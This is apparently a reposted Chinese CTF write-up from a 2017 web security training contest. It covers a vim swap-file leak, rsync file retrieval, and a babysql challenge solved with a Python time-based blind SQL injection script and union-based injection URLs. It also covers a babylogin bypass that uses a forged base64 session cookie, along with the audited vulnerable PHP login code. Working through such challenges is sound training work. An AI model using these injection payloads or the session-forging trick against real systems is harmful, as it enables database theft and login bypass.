1. 程式人生 > >2017秋季賽Web安全測試訓練賽wp【安恆】

2017秋季賽Web安全測試訓練賽wp【安恆】

0x00編輯器的鍋

看到題目名字就差不多猜到了,swp檔案洩露,http://114.55.36.69:20380/.login.php.swp,下載拿到swp檔案,開啟虛擬機器,啟動kali,利用命令列執行vim -r login.php.swp,修復看到原始碼,很明顯的name和password,輸入,直接getflag

0x01 服務發現

這題awvs沒掃到有啥漏洞,表哥給的提示是rsync漏洞

Nmap掃描了下埠

 

很明顯在873埠

參考網上對於這種漏洞的利用方法,

Rsync -avz --port=873 118.178.18.181::”source code”/flag.php /root/桌面

搞定flag(靠印象寫的,目錄不確定了,應該沒錯)

0x02 babysql

這個題目,,,很尷尬,首先選的注入點是id,不需要’或”的閉合,直接and可以執行,通過盲注搞定資料庫名和表名,程式碼如下:

__author__ = 'netfish'

# -*-coding:utf-8-*-

 

import requests

import time

 

payloads = '[email protected]_.{}-'  #不區分大小寫的

 

flag = ""

key=0

print("Start")

for i in range(1,12):

    if key == 1:

        break

    for payload in range(30,125):

        starttime = time.time()#記錄當前時間

        headers = {'Host': '114.55.36.69:20680',

'Pragma': 'no-cache',

'Cache-Control': 'no-cache',

'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36',

'Upgrade-Insecure-Requests': '1',

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',

'Accept-Encoding': 'gzip, deflate',

'Accept-Language': 'zh-CN,zh;q=0.8',

'Connection': 'close'

                   }

        # url = "http://114.55.36.69:20680/index.php?table=&id=3 and case when(ascii(substr(database(),{0},1))={1}) then sleep(7) else sleep(0) end#".format(i,payload)#資料庫

        '''

        [Finally] current database is errorerror

        '''

        #url = "http://114.55.36.69:20680/index.php?table=&id=3 and case when((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0) then sleep(5) else sleep(0) end#"

        '''

        手動測試長度,第一個長度為10,limit 0,1

        [Finally] current table is error_flag

        手動測試長度,第二個長度為10,limit 1,1

        [Finally] current table is error_news

        手動測試不存在第三個表

        '''

        #url = "http://114.55.36.69:20680/index.php?table=&id=3 and case when(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),{0},1))={1}) then sleep(7) else sleep(0) end#".format(i,payload)

 

 

        #url ="http://114.55.36.69:20680/index.php?table=&id=3 and case when((select length(extractvalue(0x3C613E636f6c756d6e5f6e616d653C2F613E,0x2f61)) from information_schema.columns where table_name=extractvalue(0x3C613E6572726f725f666c61673C2F613E,0x2f61) limit 0,1)>10) then sleep(7) else sleep(0) end#"

        '''

        手動測試第一個欄位長度為11

        [Finally] column is column_name

        '''

        url = "http://114.55.36.69:20680/index.php?table=&id=3 and case when(ascii(substr((select (extractvalue(0x3C613E636f6c756d6e5f6e616d653C2F613E,0x2f61)) from information_schema.columns where table_name=extractvalue(0x3C613E6572726f725f666c61673C2F613E,0x2f61) limit 0,1),{0},1))={1}) then sleep(7) else sleep(0) end#".format(i,payload)

 

        res = requests.get(url, headers=headers)

        if time.time() - starttime > 7:

            flag += chr(payload)

            print('\n column is:', flag)

            break

        else:

            if payload == 125:

                key = 1

                break

print('\n[Finally] column table is %s' % flag)

然後很氣的就是*和information_column都被過濾了,,,,很尷尬的繞過過程就不說了,,,蜜汁尷尬

之後就是先實驗了表哥提示的`和報錯注入,,,一直沒有太多發現,不過研究`的時候發現了很多很有意思的事,`的注入(也不知道是不是注入,各種很神奇的發現)比如`#`與`%23`

後來表哥給了個table沒有過濾information_column,利用`可以成功用where的提示,然後就開始了稀裡糊塗的嘗試

http://114.55.36.69:20680/index.php?table=news`%23`where%201=1%20and%20sleep(3)%23&id=3

成功執行,本來想著繼續sleep盲注的,後來想到這是有回顯的,可不可以直接select

http://114.55.36.69:20680/index.php?table=news`%23`where%201=2%20union%20(select%201,2,column_name%20from%20information_schema.columns%20where%20table_name=extractvalue(0x3C613E6572726f725f666c61673C2F613E,0x2f61)%20limit%200,1)%20%23&id=3

幾個點吧,

第一個是前面where弄成1=2,這樣union聯合查詢只有後面的資料

第二個是select要用1,2,column_name,這裡有個報錯,查了下百度,解釋是union聯合查詢的查詢數量不一樣,按照最早測試的id可以有3個,1,2,3都有回顯,所以確定前面的查詢數量為3,這裡補上1,2,滿足查詢三個

第三個點是error_flag需要繞過,,,,不說了不說了,extractvalue函式

第四個點是因為用了limit,因為逗號的原因,所以加上括號說明下執行順序

,,,搞到欄位名,,,坑啊,猜了好久的表名,怪不得猜不出來了flag_you_will_never_know,剩下的沒啥好說的了,利用表名直接拿欄位,flag出來

0x03 babylogin

想太多想太多,這題的感覺只有這個,思路後來想想還是很清晰的,倒推資料,直接搞定,md5那條路走不通,走的是__session這條路

程式碼如下:

第一部分,倒推程式碼:

<?php

$session=array(

    "uid"=>"1'='1",

    "hash"=>true

);

$data = json_encode($session, JSON_FORCE_OBJECT);

echo $data;

$finally_data = base64_encode($data);

echo $finally_data;

第二部分,原始碼審計:

<?php

include "config.php";

 

header("Content-Type:text/html;charset=utf8");

session_start();

if (!empty($_SESSION)&&$_SESSION["login"]==1) {

        header("Location: admin.php");

        exit();

    }

 

foreach (array('_GET','_POST','_COOKIE') as $key) {

    foreach ($$key as $key2 => $value) {

        $_GPC[$key2]=$value;

    }

}

/*

KEY2 1

$_GPC['']

*/

/*

<?php

$arr = array("one", "two", "three");

foreach ($arr as $key => $value) {

    echo "Key: $key; Value: $value<br />\n";

}

?>

Key: 0; Value: one<br />

Key: 1; Value: two<br />

Key: 2; Value: three<br />

*/

//var_dump($_GPC);exit();

if ($_SERVER["REQUEST_METHOD"]=="GET"){#嘗試使用get方式,未獲取什麼有效資訊,只是直接跳轉首頁

    echo include "outputtpl.php";

}else if($_SERVER["REQUEST_METHOD"]=="POST"){

    

    $userin=addslashes($_POST["name"]);#在每個雙引號(")前新增反斜槓

    $passin=addslashes($_POST["password"]);

    $session = json_decode(base64_decode($_GPC['__session']), true);#json_decode接受一個 JSON 編碼的字串並且把它轉換為 PHP 變數,變成陣列 ;base64_decode對 base64 編碼的 data 進行解碼;$_GPC 全域性請求變數, 獲取 $_GET, $_POST, $_COOKIES 中的變數

    if (is_array($session)){

        $user = find_user_by_uid($session['uid']);

        if(is_array($user) && $session['hash'] == $user['password']){

            $_SESSION["login"]=1;

            $_SESSION["userin"]=$userin;

            header("Location: admin.php");

            exit();

        }else{

            echo "使用者名稱或密碼錯誤";

        }

    }else{

        $sql = "select password from admin where username='$userin'";

        $row = mysql_fetch_array(mysql_query($sql));

        if($row){

            if($row[$passin]==md5($passin)){

                $_SESSION["login"]=1;

                $_SESSION["userin"]=$userin;

                header("Location: admin.php");

                exit();

            }else{

                echo "使用者名稱或密碼錯誤";

            }

        }else{

            echo "使用者名稱或密碼錯誤";

        }    

    }

}else {

    echo "GET or POST plz!";

} 


核心思想:sql注入,true弱口令

相關推薦

2017秋季Web安全測試訓練wp

0x00編輯器的鍋 看到題目名字就差不多猜到了,swp檔案洩露,http://114.55.36.69:20380/.login.php.swp,下載拿到swp檔案,開啟虛擬機器,啟動kali,利用命令列執行vim -r login.php.swp,修復看到原始碼,很明顯的

11個免費的Web安全測試工具

漏洞 fis 速度 程序 car exploit spark fiddler 專業 1.Netsparker Community Edition(Windows) 這個程序可以檢測SQL註入和跨頁腳本事件。當檢測完成之後它會給你提供一些解決方案。 2.Websecurify

web安全測試排查

漏洞排查思路: 1.上傳漏洞 如果看到:選擇你要上傳的檔案 [重新上傳]或者出現“請登陸後使用”,80%就有漏洞了! 有時上傳不一定會成功,這是因為Cookies不一樣.我們就要用WSockExpert取得Cookies.再用DOMAIN、中國菜刀上傳.    2.注入漏洞 字元過濾不嚴

Web安全測試檢查單

是否 會話 order 頁面 str 驗證 短信驗證碼 center click 大類 細項 標記 備註 上傳功能 繞過文件上傳檢查功能 P1 功能測試階段覆蓋 上傳文件大小和次數限制 P1 註冊功能

web安全測試之 xss攻擊

一、 背景知識 1、 什麼是 XSS 攻擊? XSS 攻擊: 跨站指令碼攻擊(Cross Site Scripting) , 為不和層疊樣式表(Cascading Style Sheets,CSS)的縮寫混淆。 故將跨站指令碼攻擊縮寫為 XSS。 跨站指令碼攻擊, 是 W

Web安全測試之跨站請求偽造(CSRF)

 跨站請求偽造(即CSRF)被Web安全界稱為諸多漏洞中“沉睡的巨人”,其威脅程度由此“美譽”便可見一斑。本文將簡單介紹該漏洞,並詳細說明造成這種漏洞的原因所在,以及針對該漏洞的黑盒測試與灰盒子測試具體方法和示例,最後提提了一些防範該攻擊的建議,希望本文對讀者的安全測試

Web安全測試之XSS

SS 全稱(Cross Site Scripting) 跨站指令碼攻擊, 是Web程式中最常見的漏洞。指攻擊者在網頁中嵌入客戶端指令碼(例如JavaScript), 當用戶瀏覽此網頁時,指令碼就會在使用者的瀏覽器上執行,從而達到攻擊者的目的.  比如獲取使用者的Coo

Web安全測試(文末送電子書)

今天小編找到了一本web安全測試的電子書,還不錯。有喜歡看電子書的同學可以下載一下。看文末獲取電子書方式.來看看今天的文章吧  常見問題:   1.XSS(CrossSite Script)跨站指令碼攻擊 XSS(CrossSite Script)跨站指令碼攻擊。它指的是惡意

Web安全測試常用工具

Pornzilla是一套有用的FireFox小書籤和擴充套件,它提供了大量方便的、有助於web應用安全測試的工具。如RefSpoof修改HTTP Referer資訊,或許能繞過不安全的登入機制;Digger是一個目錄遍歷工具;Spiderzilla是網站爬蟲工具;Increment和Decrement篡改U

Web安全測試之——XSS漏洞

一、概念 XSS攻擊:跨站指令碼攻擊(Cross Site Scripting),它是Web程式中最常見的漏洞。 XSS攻擊是指攻擊者在網頁中嵌入客戶端指令碼(例如JavaScript), 當用戶瀏覽此網頁時,指令碼就會在使用者的瀏覽器上執行,從而達到攻擊者的目的。比如獲取

菜鳥淺談——web安全測試

本文僅為小白瞭解安全測試提供幫助 一:安全測試注意事項 1)要注意白帽子與黑客之間的區別 2)在挖漏洞掙外快時,注意不要使用安全掃描或暴力破解軟體對上線網站進行掃描或攻擊。 不要對上線網站造成破壞,不要去獲取網站的資料庫資訊等。否則等待的不是money,而

web安全測試理論知識

網際網路上的攻擊大都將web站點作為目標。本文講解具體有哪些攻擊web站點的手段,以及攻擊會造成怎樣的影響~~ 一、因輸出值轉義不完全引發的安全漏洞 1. 跨站指令碼攻擊(Cross-Site Scripting,XSS) 指通過存

WEB安全測試的型別

1.跨站指令碼(XSS)   XSS又叫CSS(CROSS SET SCRIPT),跨站指令碼攻擊。它指的是惡意攻擊者往WEB頁面裡插入惡意的html程式碼,當用戶瀏覽該頁面時,嵌入其中的html程式碼會被執行,從而達到惡意使用者的特殊目的;(釣魚、盜取coo

Web安全測試中常見邏輯漏洞解析(實戰篇)

*文章原創作者: [email protected]漏洞盒子安全研究團隊,轉載請註明來自FreeBuf黑客與極客(FreeBuf.COM)  邏輯漏洞挖掘一直是安全測試中“經久不衰”的話題。相比SQL注入、XSS漏洞等傳統安全漏洞,現在的攻擊者更傾向於利用業務

web安全測試必須注意的五個方面

隨著網際網路的飛速發展,web應用在軟體開發中所扮演的角色變得越來越重要,同時,web應用遭受著格外多的安全攻擊,其原因在於,現在的網站以及在網站上執行的應用在某種意義上來說,它是所有公司或者組織的虛擬正門,所以比較容易遭受到攻擊,存在安全隱患。 今天主要給大家分享下有關安全測試的一些知識點以及注意事項。

通過Portwigge的Web安全漏洞訓練平臺,學習SSRF

前言 Portswigger是Burpsuite的官網,也是一個非常好的漏洞訓練平臺。其Web安全靶場地址為:https://portswigger.net/web-security/ 該靶場的訓練內容側重於對Burpsuite各項功能的深入挖掘,這也是《黑客攻防技術寶典Web實戰篇》的實戰訓練平臺,配合使用

Python Web開發 統一資源定位符 第一天

引言  前面幾節我們已經基本上把一些Python的基礎知識快速的過了一遍,有些提到了有些沒有提到,這些我們後面遇到了可以再細說。從今天開始就拉開我們Python Web開發的序幕了。 客戶端  既然是web端的開發,想必大家對客戶端這個名詞有了解吧?但

線上筆試題解題報告系列網易2017校招內推筆試之程式設計題持續更新

網易今年把內推筆試放在牛客網上辦,然後出了一批程式設計題。 題目在: 一共18個,好多(不同崗位抽3個不同的題的樣子)…… 慢慢寫吧,做一題寫一題。 以下題解將假定讀者有下列知識,對下面所列舉的細節不再贅述。 (如果有必要對此進行教學的,請站內信我) C/C++的基本

筆試題:2017.9.10愛奇藝校招程式設計題平方串解題思路

問題描述 平方串: 形如string s = T + T的字串 目標: 對於字串s,除去若干字元使其成為平方串,求該平方串的最大長度。 思路與實現 將s分成兩半,求兩個子串的最大子序列長度(longest common subsequence)

ctf/web原始碼洩露及利用辦法總結中

                .hg原始碼洩漏 漏洞成因: hg init的時候會生成.hg e.g.http://